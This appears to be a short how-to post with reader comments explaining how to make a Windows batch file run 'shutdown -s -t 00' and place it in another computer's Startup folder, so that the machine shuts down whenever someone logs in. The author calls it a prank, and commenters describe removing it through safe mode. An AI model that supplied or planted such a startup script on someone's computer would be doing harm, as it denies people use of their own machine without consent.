Shut Down Pc When Someone Logs In

About: Technology is my passion

Intro: Shut Down Pc When Someone Logs In

HOW TO AUTOMATICALLY SHUT DOWN A PC AS A USER LOGS IN

Step 1:

copy the follwing code and paste it in a note pad

@echo off
cd / shutdown -s -t 00 -c "Permanent Shutdown" exit

Step 2: Save

after pasting the codes in note pad save it with a name of your desire or u can use my same name
save it with .bat extension and choose files type as all files

once you are done,the computer u want to shut down as a user logs in
go to start up folder and place this batch file in that folder so next tine as a user logs in this batch file will automatically execute

Share

    Recommendations

    • Tiny Home Contest

      Tiny Home Contest
    • Metalworking Contest

      Metalworking Contest
    • Audio Contest 2018

      Audio Contest 2018

    7 Discussions

    0
    None
    EmptyZedMTKapp27

    Reply 2 years ago

    Since I'm not quite sure why you would go this route to secure the computer. I would probably have a live boot disk around and boot to that. Then access the drive and delete/rename the file. I'm sure there are other ways.

    0
    None
    NikzMTKapp27

    Reply 2 years ago

    for fun buddy,,,just to prank friends

    0
    None
    NikzEmptyZed

    Reply 2 years ago

    for fun buddy,,,just to prank friends

    0
    None
    NikzMTKapp27

    Reply 2 years ago

    boot the computer in save mode and go to start up folder and delete the batch file and restart your pc.............